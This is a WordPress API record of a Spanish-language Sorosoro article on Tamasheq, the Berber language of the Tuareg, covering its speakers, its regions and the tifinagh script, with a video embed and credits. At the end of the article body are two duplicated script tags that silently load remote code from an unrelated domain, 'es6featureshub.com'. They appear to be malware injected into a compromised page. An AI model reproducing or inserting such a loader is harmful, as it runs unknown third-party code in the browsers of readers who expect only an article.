{"id":52132,"date":"2011-07-03T01:21:45","date_gmt":"2011-07-02T23:21:45","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=52132"},"modified":"2025-10-21T22:31:50","modified_gmt":"2025-10-21T20:31:50","slug":"la-lengua-tamasheq","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2011\/07\/la-lengua-tamasheq\/","title":{"rendered":"La lengua tamasheq"},"content":{"rendered":"<p style=\"text-align: justify;\">El <strong>tamasheq<\/strong> (o tamajeq o tamaheq, derivados de la palabra tamazight), es la lengua de los <strong>Tuaregs<\/strong>, un pueblo n\u00f3mada que encontramos en <strong>regiones des\u00e9rticas de \u00c1frica del Norte<\/strong> desde hace miles de a\u00f1os, en una zona vasta que va de <strong>Mal\u00ed <\/strong>a <strong>Libia <\/strong>y de <strong>Burkina Faso<\/strong> a <strong>Argelia <\/strong>pasando por <strong>N\u00edger<\/strong>. Se cuentan alrededor de <strong>1 mill\u00f3n de hablantes<\/strong> de tamasheq.<\/p>\n<p style=\"text-align: justify;\">As\u00ed como el cabilio, el chaoui o el rife\u00f1o, el tamasheq es de hecho <strong>una de las variantes del berebere (o tamazight)<\/strong>, un grupo de lenguas presentes en toda \u00c1frica del Norte (Marruecos, Argelia, T\u00fanez, Libia, Egipto, N\u00edger, Mauritania, Mal\u00ed y  Burkina-Faso), sin olvidar una importante di\u00e1spora en Europa y en Am\u00e9rica. En total, se estima que son m\u00e1s de 45 millones de hablantes de berebere.<\/p>\n<p style=\"text-align: justify;\">Una de las particularidades de la lengua berebere es su escritura. Un <strong>alfabeto, llamado tifinagh<\/strong>, existe desde el primer milenario antes de la era cristiana, y a pesar de su casi desaparici\u00f3n al norte d\u00f3nde ha sido suplantado por los alfabetos latinos y \u00e1rabes, jam\u00e1s dej\u00f3 de ser utilizado por los Tuaregs. En la segunda mitad del siglo XX, una versi\u00f3n moderna, primero lanzada por la Academia Berebere, luego modificada por ling\u00fcistas para hacer un est\u00e1ndar aplicable a todos los hablas, es en la actualidad ampliamente utilizada, al norte, y hasta oficializada en Marruecos a partir de 2001. Este alfabeto, que se designa bajo el nombre de neo tifinagh, aunque suscita el entusiasmo al norte, es, no obstante acogido con recelo por los Tuareg.<\/p>\n<p><object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"610\" height=\"370\" codebase=\"http:\/\/download.macromedia.com\/pub\/shockwave\/cabs\/flash\/swflash.cab#version=6,0,40,0\"><param name=\"allowFullScreen\" value=\"true\" \/><param name=\"allowscriptaccess\" value=\"always\" \/><param name=\"src\" value=\"http:\/\/www.youtube.com\/v\/t2bjNDcwqfc?version=3&amp;hl=fr_FR&amp;rel=0\" \/><param name=\"allowfullscreen\" value=\"true\" \/><embed type=\"application\/x-shockwave-flash\" width=\"610\" height=\"370\" src=\"http:\/\/www.youtube.com\/v\/t2bjNDcwqfc?version=3&amp;hl=fr_FR&amp;rel=0\" allowscriptaccess=\"always\" allowfullscreen=\"true\"><\/embed><\/object><\/p>\n<p style=\"text-align: justify;\"><span style=\"text-decoration: underline;\">Imagen y sonido<\/span>: Arnaud Contreras<br \/>\n<span style=\"text-decoration: underline;\">Asesoramiento ling\u00fc\u00edstico<\/span>: Salem Mezhoud<br \/>\n<span style=\"text-decoration: underline;\">Montaje<\/span>: Caroline Laurent<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><em>Mil gracias a Abdelkrim Touhami. Mohamed Hamza. Moussa Ag Keyna y Laurent Le Nevez de Toumast. Abdallah Ag Alhousseyni de Tinariwen. Mokhtar y Mohamed Zounga, Nicolas Loizillon, Badia Journet y al equipo de Akar Akar. Mahmoud Bekkar de Syn Air.  Nadia Bellalimat. Jean-Marc Durou. Fred Miguel. Zaid. Farida Sellal, Samira Clady-Farid y al equipo del Festival del Imzad. Philippe Holvoet. Cornelis Van Voorthuizen. Beno\u00eet Auriol. Laurent de Verneuil. Gr\u00e9goire Cruse. Sidiali Youlansar (Saka\u00ef). Al equipo del Parque Nacional de Ahaggar. Los miembros de la associaci\u00f3n \u00abSauver l&#8217;Imzad\u00bb (\u00abSalvar el Imzad\u00bb)<br \/>\n<\/em><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>El tamasheq (o tamajeq o tamaheq, derivados de la palabra tamazight), es la lengua de los Tuaregs, un pueblo n\u00f3mada que encontramos en regiones des\u00e9rticas de \u00c1frica del Norte desde hace miles de a\u00f1os, en una zona vasta que va de Mal\u00ed a Libia y de Burkina Faso a Argelia pasando por N\u00edger. Se cuentan [&hellip;]<\/p>\n","protected":false},"author":18,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[25],"tags":[],"class_list":["post-52132","post","type-post","status-publish","format-standard","hentry","category-video-de-la-semana"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>La lengua tamasheq - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2011\/07\/la-lengua-tamasheq\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"La lengua tamasheq - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"El tamasheq (o tamajeq o tamaheq, derivados de la palabra tamazight), es la lengua de los Tuaregs, un pueblo n\u00f3mada que encontramos en regiones des\u00e9rticas de \u00c1frica del Norte desde hace miles de a\u00f1os, en una zona vasta que va de Mal\u00ed a Libia y de Burkina Faso a Argelia pasando por N\u00edger. Se cuentan [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2011\/07\/la-lengua-tamasheq\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2011-07-02T23:21:45+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T20:31:50+00:00\" \/>\n<meta name=\"author\" content=\"Michel.Lemee\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Michel.Lemee\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/07\/la-lengua-tamasheq\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/07\/la-lengua-tamasheq\/\"},\"author\":{\"name\":\"Michel.Lemee\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"headline\":\"La lengua tamasheq\",\"datePublished\":\"2011-07-02T23:21:45+00:00\",\"dateModified\":\"2025-10-21T20:31:50+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/07\/la-lengua-tamasheq\/\"},\"wordCount\":377,\"articleSection\":[\"Todos los videos\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/07\/la-lengua-tamasheq\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2011\/07\/la-lengua-tamasheq\/\",\"name\":\"La lengua tamasheq - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"datePublished\":\"2011-07-02T23:21:45+00:00\",\"dateModified\":\"2025-10-21T20:31:50+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/07\/la-lengua-tamasheq\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2011\/07\/la-lengua-tamasheq\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/07\/la-lengua-tamasheq\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"La lengua tamasheq\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\",\"name\":\"Michel.Lemee\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/michel-lemee\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"La lengua tamasheq - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2011\/07\/la-lengua-tamasheq\/","og_locale":"es_ES","og_type":"article","og_title":"La lengua tamasheq - Sorosoro","og_description":"El tamasheq (o tamajeq o tamaheq, derivados de la palabra tamazight), es la lengua de los Tuaregs, un pueblo n\u00f3mada que encontramos en regiones des\u00e9rticas de \u00c1frica del Norte desde hace miles de a\u00f1os, en una zona vasta que va de Mal\u00ed a Libia y de Burkina Faso a Argelia pasando por N\u00edger. Se cuentan [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2011\/07\/la-lengua-tamasheq\/","og_site_name":"Sorosoro","article_published_time":"2011-07-02T23:21:45+00:00","article_modified_time":"2025-10-21T20:31:50+00:00","author":"Michel.Lemee","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Michel.Lemee","Tiempo de lectura":"2 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2011\/07\/la-lengua-tamasheq\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/07\/la-lengua-tamasheq\/"},"author":{"name":"Michel.Lemee","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"headline":"La lengua tamasheq","datePublished":"2011-07-02T23:21:45+00:00","dateModified":"2025-10-21T20:31:50+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/07\/la-lengua-tamasheq\/"},"wordCount":377,"articleSection":["Todos los videos"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2011\/07\/la-lengua-tamasheq\/","url":"https:\/\/www.sorosoro.org\/es\/2011\/07\/la-lengua-tamasheq\/","name":"La lengua tamasheq - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"datePublished":"2011-07-02T23:21:45+00:00","dateModified":"2025-10-21T20:31:50+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/07\/la-lengua-tamasheq\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2011\/07\/la-lengua-tamasheq\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2011\/07\/la-lengua-tamasheq\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"La lengua tamasheq"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18","name":"Michel.Lemee","url":"https:\/\/www.sorosoro.org\/es\/author\/michel-lemee\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/52132","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/18"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=52132"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/52132\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=52132"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=52132"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=52132"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}